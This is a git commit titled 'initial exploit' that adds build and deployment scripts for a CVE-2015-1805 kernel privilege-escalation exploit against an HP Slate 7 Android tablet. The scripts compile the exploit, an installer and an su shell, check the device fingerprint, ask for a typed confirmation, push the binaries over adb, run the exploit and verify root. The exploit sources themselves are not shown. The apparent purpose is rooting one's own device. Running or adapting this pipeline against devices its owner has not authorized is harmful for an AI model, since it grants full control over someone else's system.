initial exploit

2026-08-18 16:00:27 +04:00
parent 7cf025402c
commit 10ff8c2e47
26 changed files with 2973 additions and 0 deletions
@@ -0,0 +1,47 @@
+#!/usr/bin/env bash
+set -euo pipefail
+
+repo_root="$(cd "$(dirname "$0")/.." && pwd)"
+output_dir="${OUTPUT_DIR:-$repo_root/build}"
+zig_bin="${ZIG_BIN:-zig}"
+
+if ! command -v "$zig_bin" >/dev/null 2>&1; then
+    echo "Zig not found. Set ZIG_BIN=/absolute/path/to/zig." >&2
+    exit 1
+fi
+
+mkdir -p "$output_dir"
+echo "Using: $($zig_bin version)"
+
+"$zig_bin" cc \
+    -target arm-linux-musleabi \
+    -static -O0 -marm -pthread -fno-stack-protector \
+    -I"$repo_root/src/exploit/stub" \
+    -I"$repo_root/src/exploit/common" \
+    -I"$repo_root/src/exploit/expIov" \
+    "$repo_root/src/exploit/root-main.c" \
+    "$repo_root/src/exploit/expIov/iov_exp_main.c" \
+    "$repo_root/src/exploit/common/kallsyms.c" \
+    "$repo_root/src/exploit/common/exp_sys_call.c" \
+    "$repo_root/src/exploit/common/getroot.c" \
+    -o "$output_dir/hp-slate7-cve-2015-1805-root"
+
+"$zig_bin" cc \
+    -target arm-linux-musleabi \
+    -static -Os -marm -s \
+    "$repo_root/src/installer/install-root.c" \
+    -o "$output_dir/hp-slate7-install-root"
+
+"$zig_bin" cc \
+    -target arm-linux-musleabi \
+    -static -nostdlib -Wl,-e,_start -Wl,--build-id=none -s \
+    "$repo_root/src/su/rootsh.S" \
+    -o "$output_dir/hp-slate7-su"
+
+chmod 755 "$output_dir"/hp-slate7-*
+
+if command -v shasum >/dev/null 2>&1; then
+    shasum -a 256 "$output_dir"/hp-slate7-*
+else
+    sha256sum "$output_dir"/hp-slate7-*
+fi
@@ -0,0 +1,32 @@
+#!/usr/bin/env bash
+set -euo pipefail
+
+adb_bin="${ADB_BIN:-adb}"
+expected_fingerprint='hp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys'
+expected_kernel='3.0.8+'
+serial="${1:-}"
+
+if ! command -v "$adb_bin" >/dev/null 2>&1; then
+    echo "adb not found. Set ADB_BIN=/absolute/path/to/adb." >&2
+    exit 1
+fi
+
+adb_args=()
+if [[ -n "$serial" ]]; then
+    adb_args=(-s "$serial")
+fi
+
+fingerprint="$($adb_bin "${adb_args[@]}" shell getprop ro.build.fingerprint | tr -d '\r')"
+kernel="$($adb_bin "${adb_args[@]}" shell cat /proc/sys/kernel/osrelease | tr -d '\r')"
+model="$($adb_bin "${adb_args[@]}" shell getprop ro.product.model | tr -d '\r')"
+sdk="$($adb_bin "${adb_args[@]}" shell getprop ro.build.version.sdk | tr -d '\r')"
+
+printf 'Model:       %s\nFingerprint: %s\nKernel:      %s\nSDK:         %s\n' \
+    "$model" "$fingerprint" "$kernel" "$sdk"
+
+if [[ "$fingerprint" != "$expected_fingerprint" || "$kernel" != "$expected_kernel" ]]; then
+    echo "REFUSED: this target does not match the verified device." >&2
+    exit 2
+fi
+
+echo "Target matches the verified HP Slate 7 2800 firmware."
@@ -0,0 +1,77 @@
+#!/usr/bin/env bash
+set -euo pipefail
+
+repo_root="$(cd "$(dirname "$0")/.." && pwd)"
+adb_bin="${ADB_BIN:-adb}"
+serial=""
+assume_yes=0
+
+while [[ $# -gt 0 ]]; do
+    case "$1" in
+        --serial)
+            serial="$2"
+            shift 2
+            ;;
+        --yes)
+            assume_yes=1
+            shift
+            ;;
+        *)
+            echo "Usage: $0 [--serial ADB_SERIAL] [--yes]" >&2
+            exit 2
+            ;;
+    esac
+done
+
+adb_args=()
+if [[ -n "$serial" ]]; then
+    adb_args=(-s "$serial")
+fi
+
+"$repo_root/scripts/check-target.sh" "$serial"
+
+if command -v shasum >/dev/null 2>&1; then
+    (cd "$repo_root" && shasum -a 256 -c SHA256SUMS)
+else
+    (cd "$repo_root" && sha256sum -c SHA256SUMS)
+fi
+
+if [[ "$assume_yes" != 1 ]]; then
+    printf 'Type ROOT to run the kernel exploit on this tablet: '
+    read -r confirmation
+    [[ "$confirmation" == ROOT ]] || exit 3
+fi
+
+"$adb_bin" "${adb_args[@]}" push \
+    "$repo_root/bin/hp-slate7-cve-2015-1805-root" \
+    /data/local/tmp/cve-2015-1805-root
+"$adb_bin" "${adb_args[@]}" push \
+    "$repo_root/bin/hp-slate7-install-root" \
+    /data/local/tmp/install-root
+"$adb_bin" "${adb_args[@]}" push \
+    "$repo_root/bin/hp-slate7-su" \
+    /data/local/tmp/rootsh-armv7
+
+"$adb_bin" "${adb_args[@]}" shell \
+    'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'
+
+set +e
+"$adb_bin" "${adb_args[@]}" shell \
+    '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'
+exploit_rc=$?
+set -e
+
+if [[ "$exploit_rc" != 0 ]]; then
+    echo "Exploit did not complete cleanly. Reboot before any retry." >&2
+    exit "$exploit_rc"
+fi
+
+"$adb_bin" "${adb_args[@]}" wait-for-device
+root_id="$($adb_bin "${adb_args[@]}" shell '/system/xbin/su -c id' | tr -d '\r')"
+echo "$root_id"
+[[ "$root_id" == uid=0\(* ]] || {
+    echo "Root verification failed." >&2
+    exit 4
+}
+
+echo "Root verified. See README.RU.md for cleanup and reboot verification."